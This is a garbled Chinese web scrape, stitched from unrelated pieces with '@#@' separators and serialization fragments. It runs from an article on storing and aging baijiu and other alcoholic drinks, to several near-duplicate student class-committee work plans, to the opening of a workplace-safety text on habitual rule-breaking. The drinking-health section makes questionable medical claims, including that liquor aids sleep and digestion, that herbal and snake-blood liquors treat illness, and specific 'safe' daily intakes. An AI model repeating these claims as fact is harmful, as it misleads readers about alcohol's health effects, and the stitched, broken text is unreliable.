@#@刚生产出的酒为原酒,这些酒必须贮藏老熟,一般在6个月以上,贮藏到期的酒出厂前,首先要检验、品评,合格后,根据技术要求进行勾兑,除了用不同品质、不同度数的白酒进行勾兑外,更重要的是用水降度,使其达到商品酒的度数。
@#@而这些加了水的白酒已破坏了酒分子的稳定性,尤其是装在玻璃瓶内,白酒已无法透过玻璃瓶进行呼吸,因此这样的白酒已很难通过贮藏来提升品质,如是劣质酒,时间一长就会变质。
@#@@#@2、如想通过收藏白酒来提升质量,其盛酒容器上选是紫砂,其次陶、瓷。
@#@紫砂的密度界于陶、瓷之间,最利于白酒呼吸。
@#@如果仅是为了收藏,玻璃瓶也是可以的,它不仅可以保持原来的品质,又不容意使瓶中白酒酒精挥发。
@#@@#@3、贮藏环境除地下室和农村地下窖外,也可因地自宜,选择不用经常搬动的仓房或空地都可。
@#@如有条件可以将众多的白酒(陶坛装)放到一起,我们经过实践觉得众多的酒在一起贮藏,要比单独存放的酒品质提升的快。
@#@@#@瓶装白酒的收藏@#@国酒历史悠久,中国酒文化源远流长。
@#@中国酒产品多样,销售量大,覆盖面广。
@#@而瓶装的商品酒由液态酒体、包装物及附件共同组成。
@#@其产品的物质属性、精神属性和由此派生出来的文化属性造就了广泛的大众收藏市场。
@#@酒盒、酒瓶、酒标、开启酒的工具、酒杯、酒的赠品及瓶装酒都成了收藏的对象。
@#@特别是近年来,随着我国饮料酒的快速发展,高档酒和高档包装酒层出不穷,从而兴起一股收藏商品瓶装酒的热潮。
@#@@#@瓶装白酒收藏是商品瓶装酒收藏的主要部分。
@#@通常有主观收藏和客观收藏两个方面:
@#@@#@一是主观收藏,也叫主动收藏。
@#@收藏爱好者见到自己喜欢的酒品就购买保存。
@#@一般购买名优白酒、品牌酒和具有个性特征包装的酒。
@#@@#@二是客观收藏,也叫被动收藏。
@#@如亲朋好友赠送的好酒,或是高档包装的酒未喝,长期存放家中。
@#@藏者们几乎都直接或间接受“白酒贮存越久越好,也就是时间越长越好”理念的影响。
@#@@#@我们经常看到有媒体宣传报道:
@#@“某某收藏几百瓶、几千瓶甚至上万瓶酒,价值多少多少。
@#@”@#@那么,如何正确理解“白酒贮存越久、时间越长越好”这个理念呢?
@#@如何正确收藏瓶装白酒呢?
@#@@#@许多藏酒发生变化,主要有以下几种现象:
@#@@#@1.收藏的瓶装酒已成空瓶。
@#@这种情况各种材质的酒瓶都有,以紫砂瓶居多,陶瓶次之,瓷瓶、竹筒瓶也不少。
@#@@#@主要原因:
@#@瓶体渗漏。
@#@@#@2.收藏的瓶装酒容量减少。
@#@酒体发生了物理性变化。
@#@如原500mL的容量,现剩下300mL。
@#@不同的容量按比例减少,从10%—80%的都有,这种情况各种材质的瓶装酒都有,包括玻璃瓶。
@#@@#@主要原因:
@#@瓶口密封不严,导致挥发。
@#@@#@3.收藏的瓶装酒质量发生化学性变化。
@#@如:
@#@酒的香味物质挥发,使内装的白酒质量下降;@#@瓶体的材料与液态酒发生了化学反应,使酒体变色(如变红、变黑、变混)。
@#@@#@主要原因:
@#@可能是瓶体材料(紫砂)掉色,或者是软木塞瓶盖中的单宁和白酒中微量含氮化合物起化学反应,而形成黑色沉淀物等原因所至。
@#@如竹筒酒瓶,封口较好,是用蜡质封口,但由于竹筒中竹丝间有缝隙,因此,酒液会慢慢渗漏,颜色变深,一般2年左右就会出现这种情况。
@#@@#@变味,则是因为内塞材料使用不当,如橡皮内塞使酒带上橡皮味,或是木塞带上木香味。
@#@@#@上述现象表明,许多收藏酒在收藏者或消费者手中经过长时间的存放,发生了化学与物理性变化,酒体质量不是越来越好,而是越来越差,甚至不能饮用。
@#@@#@二、“酒”存放时间越久越好的实质@#@那么,长期以来,白酒贮存时间越久越好的说法是错误的吗?
@#@当然不是。
@#@但是,“酒贮存时间越长越好(更准确地说,是白酒贮存时间越长越醇)”有其先决条件,即白酒的贮存必须在酒窖和酒库之中。
@#@@#@下面,具体分析白酒贮存在酒库之中与酒瓶之中的差异。
@#@@#@1.两者存放的环境不同。
@#@在酒厂的酒库中,白酒的贮存环境始终保持合适的温度和湿度。
@#@传统的酒库有地上和地下两种。
@#@地上酒库,室温随季节气候变化影响较大,夏季气温高,湿度大,酒中的硫化氢、硫醇、硫醚等挥发性硫化物杂味物质挥发较快,但同时也造成酒中香味成分的挥发耗损,原酒中乙醇也有蒸发、损耗。
@#@当室温低时,酒中香味成分挥发慢,但酒的老熟速度也会放慢。
@#@地下酒库,温度、湿度相对恒定,受季节和气候的影响比较小,地温一般维持在9度—22度之间。
@#@在这样的温度下,可起到除去新酒味的老熟作用。
@#@而原酒中有益的香味物质能较好地保存,并且乙醇损耗少。
@#@酒中醇、酸、酯、醛、金属离子等微量成分之间的缔合,进行的各种物理化学反应能够自然平缓进行,经过长时间贮存后,酒体更加细腻、丰满、醇厚。
@#@有的酒厂搞洞藏年份酒,就是这个道理。
@#@@#@而瓶装酒放在家中,室温随季节变化,夏天可达35度左右;@#@冬季气温最低1度—5度,且气候干燥,加上酒瓶包装的原因,瓶中酒的香味物质、水、乙醇容易挥发或渗漏,从而使酒的质量下降。
@#@@#@2.两者存放的容器不同。
@#@长期的生产实践经验表明,贮存白酒的容器材质与贮存白酒的质量有密切的相关性。
@#@我国白酒企业的贮存容器主要有以下几种:
@#@@#@
(1)陶土容器(陶坛)我国名优酒通常都是采用传统的陶坛作为理想的贮存容器。
@#@但不同产地的陶坛由于其材质和工艺不同,其贮酒老熟效果有很大的差异。
@#@已有资料表明,陶坛坯胎结构比较粗糙,吸水率大,一般壁厚为2cm左右,周身存在许多气孔,空气中的氧易进入陶坛中,促使酒体内氧化反应加速进行。
@#@此外,陶坛含有多种金属氧化物。
@#@金属离子在贮酒的过程中溶于酒中,对白酒的老熟有促进作用。
@#@新蒸馏的酒辛辣、冲、暴香并有糠糟味,老熟可以去杂增香,减少新酒的刺激、燥辣,使酒的口味协调醇厚。
@#@陶土容器的封口常用塑料布扎口,再用面板、木板或沙袋压紧。
@#@在贮存的过程中也有渗漏和挥发现象。
@#@通常老式陶坛渗漏在3%—5%,新式陶坛渗漏约1%左右。
@#@酒厂在使用新陶坛之前,先装上水进行试用,检验是否有暗纹或其它原因渗漏,使用的过程中也不断检查,但老式陶坛的渗漏仍无法避免。
@#@这是陶坛自身材质和制作工艺决定的。
@#@@#@
(2)血料容器。
@#@用荆条或竹蔑编成筐,或用木箱、水泥池内壁糊有猪血料作为传统贮酒容器之一。
@#@所谓血料,是用猪血和石灰调制成一种可塑性的蛋白胶质盐,遇酒精即形成半渗透的薄膜。
@#@其特征是水能渗透而酒精不能渗透。
@#@对酒精含量为30%以上的酒有良好的防漏作用,称为“酒海”。
@#@@#@(3)金属容器。
@#@铝罐是早期贮酒容器之一。
@#@在使用的过程中,随着储存时间的延长,酒中的有机酸对铝有腐蚀作用并产生混浊沉淀,大型酒企早已停止使用,目前都使用不锈钢大罐。
@#@不锈钢大罐结构稳定,不会影响储存白酒的质量。
@#@但不锈钢大罐的造价较高。
@#@经不锈钢贮存的优质白酒与传统陶坛贮存酒相比,口味不及陶坛酒醇厚。
@#@@#@(4)水泥池容器。
@#@采用钢筋混凝土结构制成水泥池,内壁贴面有桑皮纸猪血贴面,陶瓷板贴面,玻璃板贴面,环氧树脂或过氯乙烯涂料。
@#@水泥池壁厚一般在15cm—25cm左右,墙体用防渗漏材料制成。
@#@而收藏的瓶装酒,尽管也有各种材质的容器(酒瓶),但制作的瓶体壁厚约0.3cm—0.5cm左右。
@#@陶、瓷瓶容易破损,机械强度和防震力较弱,容易产生裂纹。
@#@陶瓷瓶由微孔网状结构组成,若釉面加工质量不好,就会出现渗漏现象。
@#@紫砂陶瓶这种现象更为严重。
@#@陶、瓷质瓶大多为手工制作,酒瓶的瓶口精度难以达到要求,因此,瓶装酒封口不严也是造成瓶内酒体中香味成分和乙醇挥发,酒体质量下降的重要原因。
@#@竹筒酒一般在存放两年左右就开始从竹筒丝缝渗漏。
@#@所以,紫砂、陶质、瓷质、竹筒等瓶装酒空瓶现象多有发生。
@#@两者存放的容量不同。
@#@@#@随着白酒生产的发展,白酒产量大幅增加,传统的白酒容器已不能满足需要,大容器应运而生。
@#@酒库的储酒容器容量一般为:
@#@陶坛225kg—1000kg;@#@酒海容量在5T左右;@#@木料或水泥池容器容量在10T—75T左右;@#@不锈钢容量在5T—2500T不等。
@#@相比而言,瓶装酒一般容量都很小,在500mL左右,最大的不过3000mL的坛装酒。
@#@酒库中原酒在成为产品之前需进行勾调工艺程序来保证酒的质量,但酒瓶中酒的损耗直接影响酒的质量,同时,香味成分、水、乙醇的挥发也会影响感官指标和理化指标等。
@#@@#@两者存放的酒度不同。
@#@库中贮存的酒是原酒,也称基酒或原浆酒,酒度一般都在60度以上,最高的可达70多度。
@#@综上所述,酒贮存在酒库之中与酒瓶之中是有差异的。
@#@这里还要阐明一点,酒库容器中的原酒在进入市场前必须经过勾兑,以使酒中酸、酯、醛、醇等类物质含量适合、比例恰当,产生独特的愉快而优美的香味,形成固有的风格。
@#@而收藏的瓶酒是勾兑后的酒,经过长时间存放,部分酒体含量发生了比例失调变化,改变了口味,使口味变杂、变淡,失去了固有风格,导致酒的质量下降。
@#@@#@三、收藏瓶装白酒的几点建议:
@#@我们了解了“酒存放时间越长越好”的实质内涵,对于我们收藏瓶装白酒有很好的意义,避免收藏走入误区,造成不必要的经济损失。
@#@同时也可以对我们已收藏的瓶装白酒,采取合理、积极存放的方法和措施,加以保护,尽可能地保证其内在质量,保证藏品的价值。
@#@对于如何搞好瓶装白酒收藏,本人有如下几点建议:
@#@@#@1.收藏高档名优酒、精品品牌酒。
@#@这类酒酒体品质优良,品牌知名度高,如包装达到精度要求,长期保存升值空间大。
@#@@#@2.收藏由高密度材质酒瓶灌装的且瓶口精确度高,密封好的白酒产品。
@#@如不锈钢瓶装酒、玻璃瓶装酒(封口需技术处理,比如蜡封)等保存较长时间,且不会影响产品质量。
@#@陶瓷瓶蕴含着厚重的历史和文化,集陶瓷文化和酒文化与一身。
@#@它凭借广泛的文化、深刻的内涵、优美的造型、丰富的色彩,被越来越多的白酒生产企业所采用,因此,精品陶瓷瓶装酒备受收藏者青睐。
@#@只要能够解决好瓶体的渗漏、瓶口的挥发及少量因瓶体掉色使酒体变色等问题,还是具有广阔收藏前景的。
@#@目前,许多白酒生产企业和酒瓶生产企业都开始重视并研究这些问题,并取得了一定的成果。
@#@其中最典型的是河北邯郸酒厂的“赵国酒典”。
@#@该酒的酒体和酒瓶都由知名白酒专家宋书玉先生勾兑、构思、设计而成。
@#@该瓶为两部分,内瓶为玻璃瓶,外包上陶胚进行了二次烧制,既解决了渗漏、挥发问题,又解决了艺术造型美观问题,可以长时间的保存。
@#@但制作工艺极为复杂,成本也较高。
@#@因此,该瓶装酒高贵典雅,且融历史文化与现代工艺为一体,极具收藏价值。
@#@总体来讲,玻璃瓶好于瓷瓶,瓷瓶好于陶瓶,陶瓶好于紫砂陶,不锈钢瓶最好。
@#@其它材质如:
@#@竹筒、木、皮囊、塑料等的瓶装酒应以短期收藏为佳。
@#@@#@3.收藏高酒度的瓶装酒。
@#@前面已阐明原因,这里不再重复。
@#@@#@4.收藏中注意不同香型的瓶装酒。
@#@不同香型的酒效果不同,酱香高沸点成分含量多,酱香瓶装酒质量相对容易保持稳定,其它香型在不渗漏的前提下,也会产生陈味,使香气发生变化。
@#@@#@瓶装白酒的储藏@#@一般说来,新酒刺激性大,气味不正,往往带邪杂味和新酒气,经过一定时期的贮存,酒体变得绵软,香味突出,显然比新酒醇芳、柔和,这种现象称作白酒的老熟。
@#@白酒在老熟过程中的变化,大体分物理变化和化学变化两个方面。
@#@@#@
(一)物理变化@#@1.酒分子的重新排列:
@#@白酒中自由度大的酒精分子越多,刺激性越大。
@#@随着贮存时间的延长,酒精与水分子间逐渐构成大的分子缔合群,酒精分子受到束缚,活性减少,在味觉上便给人以柔和的感觉。
@#@@#@2.挥发:
@#@一些低沸点的不溶性气体或液体,如硫化氢、丙烯醛及其它低沸点醛类、酯类,能够自然挥发,经过贮存,可以减轻邪杂味,也不致刺鼻辣眼。
@#@但是,过长时间的贮存也会使香味降低。
@#@@#@
(二)化学变化@#@1.缓慢的酯化反应:
@#@即醇酸生成酯,使总酯增加,酸度、酒度降低。
@#@@#@2.氧化还原反应:
@#@醇氧化生成醛、酸,使酒度降低。
@#@@#@3.缩合反应:
@#@醇醛重排,减少刺激性。
@#@@#@上述白酒老熟变化进行的过程受种种条件影响,如温度、时间和封闭条件等等。
@#@要收到好的贮存效果,必须注意以下几点:
@#@@#@1.贮存期间必须封好容器口,避免经常开启,勿使白酒过多地接触空气,适当地控制氧化过程,提高酯化的比率。
@#@如封口不严,过多的氧化造成醛酸过多,挥发又造成醇、酯的损失,这样贮存就非但无益而且有害。
@#@有些厂贮存的陈酒,今天开,明天开,最后只剩半缸酒,再加封口不严,贮存了几年,越存越不好,酒味变得十分寡淡。
@#@@#@2.如欲取得较快的贮存效果,流酒温度宜稍高些(三十几度),最好用小容器贮存,这样杂味逸散得快。
@#@@#@3.必须给以适当的温度,一般以20℃左右为宜。
@#@温度太高,挥发损失较大。
@#@温度过低,影响贮存效果。
@#@@#@4.酒的贮存期并非越长越好,究竟多长合适?
@#@不同香型要求不同。
@#@茅型酒高沸点物质较多,贮存时间宜长。
@#@以酯香为主的酒,贮存期过长,酯类的挥发越多,酒味反而寡谈.因此,一般不能贮存过长。
@#@例如,西风酒贮存2—3年,总酯上升;@#@贮存期再长,反而下降,虽然酒体绵软,但口味变淡。
@#@@#@5.应先调兑贮存,然后勾兑出厂。
@#@实践证明,提前调兑然后贮存,水和酒分子经过重新排列结合,可提高白酒质量,保持香、味平衡。
@#@反之,贮存后进行调兑,打乱了分子的排列,酒味燥辣,影响了原来贮存效果。
@#@@#@几种酒的保存@#@一、白酒的保存瓶装白酒应选择较为干燥、清洁、光亮和通风较好的地方,相对温度在70%左右为宜,温度较高瓶盖易霉烂。
@#@白酒贮存的环境温度不得超过300C,严禁烟火靠近。
@#@容器封口要严密,防止漏酒和“跑度”。
@#@@#@二、黄酒的保存黄酒的包装容器以陶坛和泥头封口为最佳,这种古老的包装有利于黄酒的老熟和提高香气,在贮存后具有越陈越香的特点。
@#@保存黄酒的环境以凉爽、温度变化不大为宜,通常不低于50C,在其周围不宜同时存放异味物品,如发现酒质开始变化时,应立即食用,不能继续保存。
@#@@#@三、啤酒的保存保存啤酒的温度一般在00C-120C之间为适宜,熟啤酒温度在40C-200C之间,一般保存期为两个月。
@#@保存啤酒的场所要保持阴暗、凉爽、清洁、卫生,温度不宜过高,并避免光线直射。
@#@要减少震动次数,以避免发生浑浊现象。
@#@@#@四、果酒的保存桶装和坛装最容易出现干耗和渗漏现象,还易遭细菌的侵入,故须注意清洁卫生和封口牢固。
@#@温度应保持在80C-250C之间,相对温度75%-80%左右。
@#@不能与有异味的物品混杂。
@#@瓶酒不应受阳光直射,因为阳光会加速果酒的质量变化。
@#@@#@五、药酒的保存有些泡制药酒的成份由于长期贮存和温度、阳光等的影响,常常会使原来浸泡的物质离析出来,而产生微浑浊的药物沉淀,但这不说明酒已变质或失去饮用价值,但发现有异味就不能再饮用了。
@#@因此,药酒的保存期不宜太长。
@#@@#@各种酒类的不同健康饮法@#@酒的种类包括黄酒、葡萄酒、啤酒、白酒等。
@#@@#@黄洒是一种低度酒,其热量如加饭酒可供热量120千卡/100毫升,饮6两(300毫升)等于吃2两米饭或3两馒头。
@#@黄酒中蛋白质为1.2—1.6/100毫升,含有18种氨基酸及大量维生素B族,对妇女美容、老年人抗衰老更为适宜。
@#@@#@葡萄酒也是一种低度酒,一般12°@#@—16°@#@,维生素含量很丰富,并含有锰、锌、钼、硒等微量元素。
@#@美国等国科学家分析葡萄酒中含有白藜芦醇,具有降低胆固醇和甘油三酯作用。
@#@美国的心脏病专家证明每天喝200毫升红葡萄酒能降低血浆粘度使血栓不易形成,预防动脉硬化。
@#@我国虽未做临床试验,但可证明其对降低血脂、防止动脉硬化有一定好处。
@#@@#@啤酒是一种酒精性饮料,每升热量为400千卡,其中一半来自酒精成分一半来自糖分,一升啤酒热量相当于200克面包或500克马铃薯或45克植物油。
@#@啤酒中也含有氨基酸、维生素等,啤酒的代谢较快,易使人发胖,饮过量会破坏细胞功能、产生乙醇中毒,高血压、冠心病者不饮为佳,糖尿病者按医生指定后再饮,并且不能空腹饮。
@#@@#@白酒的主要成分为酒精和水,乙醇含量愈高,酒度愈烈,对人体危害愈大。
@#@1克乙醇供热能5千卡,饮适量的白酒,使循环系统发生兴奋效能。
@#@有失眠症者睡前饮少量白酒,有利于睡眠,并能刺激胃液分泌与唾液分泌,起到健胃作用。
@#@白酒有通风、散寒、舒筋、活血作用,如红花酒治血瘀性痛经症,龟肉酒治多年咳嗽,蛇血酒补气养血等。
@#@但长期大量饮用白酒易发生肝硬变或肝癌或偏瘫。
@#@@#@据病理分析,60公斤体重的人饮60%白酒每日1.5—2两较安全,空腹饮酒对人体有危害。
@#@饮酒时如同时摄入脂肪、牛奶、甜饮料,吸收速度会降低,但如饮碳酸饮料,则加速乙醇吸收。
@#@所以合理饮酒应做到:
@#@
(1)每日可饮白酒2两,低度酒3两以内;@#@
(2)不要空腹饮酒;@#@(3)应饮低度酒;@#@(4)饮酒应吃菜;@#@(5)饮白酒时不要同时饮碳酸饮料(如苏打水、可乐、雪碧等)。
@#@据美国研究报告,“男士每日乙醇量为30克,女士20克,最好在餐桌上饮用。
@#@”@#@";i:
39;s:
12432:
"班生活委员工作计划精选多篇@#@班生活委员工作计划(精选多篇)@#@@#@ 生活委员工作任务繁多,除了管理班费外还要认真了解学生的生活情况,及时解决同学生活中出现的问题,较大的问题不能解决的要上报院系,并通过班委讨论商讨解决办法以确保每位同学都能安心的生活,为学习创造良好的基础条件,此外,还要积极组织和开展活动,宣传一些积极思想,搞好班集体的团结。
@#@因此本学期做为生活委员制订以下工作计划主要有以下几点:
@#@@#@ 一.班费@#@ 1.协助班委装饰班级,买好他们所需要物品。
@#@认真记录班级班费情况,在重大活动后公开班费情况让同学们了解班级支出与结余状况。
@#@@#@ 2.记好每次购买物品的费用,保管好发票。
@#@@#@ 3.合理计划运用班费,管理好班里帐目@#@ 4.期末向同学们公布班费花费情况@#@ 二.生活服务@#@ 1.努力更多地了解同学们,多与同学交流,了解他们的家庭和个人的情况。
@#@积极帮助同学解决生活中所遇到的问题。
@#@@#@ 2.要更好的作好生活服务。
@#@应积累一些生活方面的信息。
@#@我将尽可能多地收集这方面的信息,并告知同学们,为大家的生活带来更多的方便。
@#@@#@ 3.组织全班同学抓好寝室卫生,每到检查卫生时,提醒同学们搞宿舍卫生。
@#@搞好卫生检查评比工作,创建文明寝室。
@#@@#@ 4.搞一些体育活动,增强同学们对体育活动的热爱,增加同学之间相互的了解,培养友谊,团结了集体。
@#@我们可以购买一些体育用品供同学在课余时间进行体育活动。
@#@@#@ 虽然这是我第一次当班里的生活委员,但我会认真对待每件事,在完成自己本身职责工作之外,同时还要帮助其他班委共同开展活动,把班里的工作搞好,并积极参加班里的活动。
@#@毕竟一个班级的发展要靠大家共同的努力。
@#@@#@ 我相信在大家的努力下我们d07中药4班会成为优秀的班级!
@#@!
@#@!
@#@@#@d07中药4班d07中药4班生活委员工作计划 生活委员工作任务繁多,除了管理班费外还要认真了解学生的生活情况,及时解决同学生活中出现的问题,较大的问题不能解决的要上报院系,并通过班委讨论商讨解决办法以确保每位同学都能安心的生活,为学习创造良好的基础条件,此外,还要积极组织和开展活动,宣传一些积极思想,搞好班集体的团结。
@#@因此本学期做为生活委员制订以下工作计划主要有以下几点:
@#@@#@ 一.班费@#@ 1.协助班委装饰班级,买好他们所需要物品。
@#@认真记录班级班费情况,在重大活动后公开班费情况让同学们了解班级支出与结余状况。
@#@@#@ 2.记好每次购买物品的费用,保管好发票。
@#@@#@ 3.合理计划运用班费,管理好班里帐目@#@ 4.期末向同学们公布班费花费情况@#@ 二.生活服务@#@ 1.努力更多地了解同学们,多与同学交流,了解他们的家庭和个人的情况。
@#@积极帮助同学解决生活中所遇到的问题。
@#@@#@ 2.要更好的作好生活服务。
@#@应积累一些生活方面的信息。
@#@我将尽可能多地收集这方面的信息,并告知同学们,为大家的生活带来更多的方便。
@#@@#@ 3.组织全班同学抓好寝室卫生,每到检查卫生时,提醒同学们搞宿舍卫生。
@#@搞好卫生检查评比工作,创建文明寝室。
@#@@#@ 4.搞一些体育活动,增强同学们对体育活动的热爱,增加同学之间相互的了解,培养友谊,团结了集体。
@#@我们可以购买一些体育用品供同学在课余时间进行体育活动。
@#@@#@ 虽然这是我第一次当班里的生活委员,但我会认真对待每件事,在完成自己本身职责工作之外,同时还要帮助其他班委共同开展活动,把班里的工作搞好,并积极参加班里的活动。
@#@毕竟一个班级的发展要靠大家共同的努力。
@#@@#@ 我相信在大家的努力下我们d07中药4班会成为优秀的班级!
@#@!
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@#@@#@d07中药4班王丹 2014年生活委员工作计划首先很高兴我能在新学期担任我们班的生活委员,既然选择了这个职务,我就必须做好为大家服务的准备。
@#@生活是大学生活的一个很重要的部分,拥有一个好的生活环境是大学生学习的必备前提,为此我初步计划了一下我的工作计划,生活委员的职责主要有以下几个方面:
@#@@#@ 一、班费@#@ 1.协助班委活动,买好他们所需要物品。
@#@认真记录班级班费情况,在重大活动后公开班费情况让同学们了解班级支出与结余状况。
@#@@#@ 2.记好每次购买物品的费用,保管好发票。
@#@@#@ 3.合理计划运用班费,管理好班里帐目@#@ 4.期末向同学们公布班费花费情况@#@ 二、生活服务@#@ 1.努力更多地了解同学们,多与同学交流,了解他们的家庭和个人的情况。
@#@积极帮助同学解决生活中所遇到的问题。
@#@@#@ 2.要更好的作好生活服务。
@#@应积累一些生活方面的信息。
@#@我将尽可能多地收集这方面的信息,并告知同学们,为大家的生活带来更多的方便。
@#@@#@ 3.组织全班同学抓好寝室卫生,每到检查卫生时,提醒同学们搞宿舍卫生。
@#@搞好卫生检查评比工作,创建文明寝室。
@#@并设立奖励,记录平时卫生检查分数,期末总结分数,前三名依次给予不等的奖励。
@#@@#@ 4.搞一些体育活动,增强同学们对体育活动的热爱,增加同学之@#@ 间相互的了解,培养友谊,团结了集体。
@#@我们可以购买一些体育用品供同学在课余时间进行体育活动。
@#@@#@ 5.及时向上级有关部门反映学生对食堂、后勤生活管理的意见和本班同学生活情况。
@#@@#@ 虽然这是我第一次当班里的生活委员,但我会认真对待每件事,在完成自己本身职责工作之外,同时还要帮助其他班委共同开展活动,把班里的工作搞好,并积极参加班里的活动。
@#@毕竟一个班级的发展要靠大家共同的努力。
@#@@#@ 我相信在大家的努力下我们班会成为一个优秀的班级!
@#@@#@ 生活委员:
@#@@#@ 管理班费外、认真了解学生的生活情况,及时解决同学生活中出现的问题,较大的问题不能解决的要上报院系,并通过班委讨论商讨解决办法以确保每位同学都能安心的生活,为学习创造良好的基础条件,此外,还要积极组织和开展活动,宣传一些积极思想,搞好班集体的团结。
@#@因此本学期做为生活委员制订以下工作计划主要有以下几点:
@#@文艺部:
@#@职责@#@ 该部门引导和组织全校同学的文化生活及文艺类活动,其传统项目及各种大型综艺晚会,如:
@#@“迎新晚会”、“元旦晚会”各项文艺大赛等。
@#@旨在培养我系文化艺术氛围及活跃同学的学习生活,使我系富有更多层面,更多精彩。
@#@本部的主要职责如下:
@#@@#@ 1、负责组织本系的文艺活动,活跃校园气氛,丰富校园生活;@#@@#@ 2、组织全系团员学生积极参加学校各种文艺活动;@#@3、配合校系完成其他工作;@#@@#@ 二、副主席职责@#@ 1、协助主席做好学生会有关工作;@#@@#@ 2、主席不在时受主席委托执行主席职权;@#@@#@ 3、明确责任分工,直接抓坚持参加主管部门的各项工作和活动;@#@@#@ 4、向学生会常委会议汇报自己分管的工作,完成主席交办的其他的工作任务。
@#@@#@ 100051班生活委员工作计划谢晔衣食住行是每个同学生活中的重要组成部分,我任重而道远。
@#@身为一个班的生活委员除了管理班费外还要认真了解学生的生活情况,及时解决同学生活中出现的问题,并通过班委讨论商讨解决办法以确保每位同学都能安心的生活,逐步提高同学们的生活质量,为学习创造良好的基础条件,以下就介绍一下我本学年工作计划:
@#@@#@ 一、班费管理@#@ 1、尽责管理本班财务,坚决做到帐目分明,出入得当。
@#@保管好发票。
@#@@#@ 2、定期向全班同学公布。
@#@。
@#@@#@ 二、卫生及健康工作@#@ 1、督寝大室长做好寝室卫生,组织专业内的卫生评比,并发放奖品。
@#@及时和宿管联系,了解本专业卫生情况。
@#@@#@ 2、与东吴物业联系,开展宿舍文化节活动。
@#@@#@ 3、做好卫生督促,防止各类传染病。
@#@督促同学们注意个人卫生和宿舍卫生,注意培养良好的生活习惯,保持室内通风,不在路边摊上购买食品,不吃垃圾食品等,严防甲流和各类传染病。
@#@@#@ 4、了解班级同学的身体健康状况,特别是女生,带他们及时就医。
@#@@#@ 三、晚点名制度@#@ 1、每晚进行查寝,杜绝夜不归宿现象。
@#@做好记录工作。
@#@在每周日晚上八点前提交表格。
@#@@#@ 四、其他方面@#@ 1、协助其他班委的工作@#@ 2、组织班级秋游,与同学沟通确定秋游地点,做好出行预算。
@#@@#@ 城管a1101班生活委员工作计划很荣幸在进入大学,进入城市管理与监察a1101班之后,当选为本班生活委员。
@#@@#@ 生活委员工作任务繁多,除了管理班费外还要认真了解学生的生活情况,及时解决同学生活中出现的问题,较大的问题不能解决的要上报院系,并通过班委讨论商讨解决办法以确保每位同学都能安心的生活,为学习创造良好的基础条件,此外,还要积极组织和开展活动,宣传一些积极思想,搞好班集体的团结。
@#@因此本学期做为生活委员制订以下工作计划主要有以下几点:
@#@@#@ 一.班费@#@ 1.协助班委装饰班级,买好他们所需要物品。
@#@认真记录班级班费情况,在重大活动后公开班费情况让同学们了解班级支出与结余状况。
@#@@#@ 2.记好每次购买物品的费用,保管好发票。
@#@@#@ 3.管理好班费,对每一笔钱做到精打细算。
@#@@#@ 4.每周班会向同学们公布班费花费情况。
@#@@#@ 5.每次做账有两个生活委员共同进行,以求准确。
@#@@#@ 6.每次收取班费,征求班上大多数同学的意见。
@#@@#@ 二.生活服务@#@ 1.做好同学的奖学金、助学金等评定工作。
@#@@#@ 2.负责全班同学的生活管理工作,努力更多地了解同学的家庭情况,学习、生活状态,并尽力帮助他们。
@#@@#@ 3.要更好的作好生活服务。
@#@应积累一些生活方面的信息。
@#@我将尽可能多地收集这方面的信息,并告知同学们,为大家的生活带来更多的方便。
@#@@#@ 4.组织全班同学抓好寝室卫生,每到检查卫生时,提醒同学们搞宿舍卫生。
@#@搞好卫生检查评比工作,创建文明寝室。
@#@@#@ 5.搞一些体育活动,增强同学们对体育活动的热爱,增加同学之间相互的了解,培养友谊,团结了集体。
@#@我们可以购买一些体育用品供同学在课余时间进行体育活动。
@#@@#@ 6..积极配合学校活动,积极进行同学间交流沟通。
@#@首先,按时签到,努力做好老师和同学们的交流,落实学校各项任务及活动。
@#@其次,做好学校班级各项活动后勤工作,保证活动顺利进行.@#@ 虽然这是我第一次当班里的生活委员,但我会认真对待每件事,在完成自己本身职责工作之外,同时还要帮助其他班委共同开展活动,把班里的工作搞好,并积极参加班里的活动。
@#@毕竟一个班级的发展要靠大家共同的努力。
@#@@#@ 城管a1101班生活委员:
@#@谭飞、田鑫@#@";i:
40;s:
14126:
"安全生产学习资料@#@安全生产月学习资料@#@习惯性违章根源及应对措施:
@#@ @#@@#@ 习惯性违章,是指生产工作中习以为常的、违反《安全生产工作规程》和规章制度的行为。
@#@这些违反安全规章的行为,由师传徒,由甲及乙,侥幸变“经验”,其特有的隐蔽性往往不被人们所认识。
@#@案例:
@#@据资料显示,电力企业所发生的事故,有95%的事故是由于违章违制而发生,其中,78%的事故又是由于习惯性违章造成。
@#@鲜血和生命换来的教训再次表明:
@#@习惯性违章已经成为电力企业事故的罪魁祸首。
@#@找出习惯性违章的根源,制定防范习惯性违章的对策,势必成为防范电力生产事故的首要任务。
@#@@#@ 一、习惯性违章的根源@#@ 习惯性违章主要表现为违章操作、违章指挥,如无票作业,无监护作业,不执行规定的安全技术措施等。
@#@它的发生是多方面因素引起的,但归根到底是思想意识、监督管理方面的原因。
@#@@#@
(一)安全意识淡薄是习惯性违章的思想根源。
@#@在施工现场,员工作为生产活动的主体,他(她)的思想意识、心理因素无时不刻影响着工作的方式、方法。
@#@即:
@#@思想违章通过行为违章表现出来。
@#@违章操作容易酿成事故,然而有些人却认识不到这一点,事事存在侥幸心理,认为不是每次违章作业就一定要出事故,该投机时就投机,该取巧时就取巧,即使有事也不会落在自己身上。
@#@@#@ 急功近利的思想,一些职工进入工作场地后,工作雷厉风行,简单粗暴,认为自己有一定技术能力,就把遵章守制放在一边,凭经验工作,很少听别人的劝告,这种思想上的违章不出事故则已,一出事故就是大事故。
@#@@#@ 明知故犯的思想,这一类员工曲解了一不怕苦,二不怕死的精神,信奉“胆小不得将军做”、“只要敢闯没有过不去的火焰山”等理念,把违章行为当成个人英雄主义。
@#@他们的从业时间较长,现场“违章”工作经验丰富,且在各类安全学习中,安全规程讲得头头是道,只是在行动上却对不上号,明知自己行为违章,为了图省事、怕麻烦,依然我行我素。
@#@因此,一些从业时间较长的老员工是这类思想泛滥的“重灾区”。
@#@@#@ 盲目无知的思想,这种思想主要反映在“三种人”身上,即临时工、青年工人、刚参加工作的毕业生。
@#@这些人做事急躁,风风火火,且安全规章制度掌握得不够全面,缺乏经验,安全意识差,对工作中的不安全因素和各种违章行为的危险性认识不足。
@#@在生产过程中,被发现违章后,往往都不知道自己违章在什么地方。
@#@在这种心理影响下造成的违章,以作业性违章较多。
@#@@#@ 总的来说,上述不良思想极易导致习惯性违章,所以生产现场无违章不仅仅是行为上不违章,而且要杜绝思想违章。
@#@一旦思想上出现违章苗头,就会通过行为上表现出来。
@#@@#@
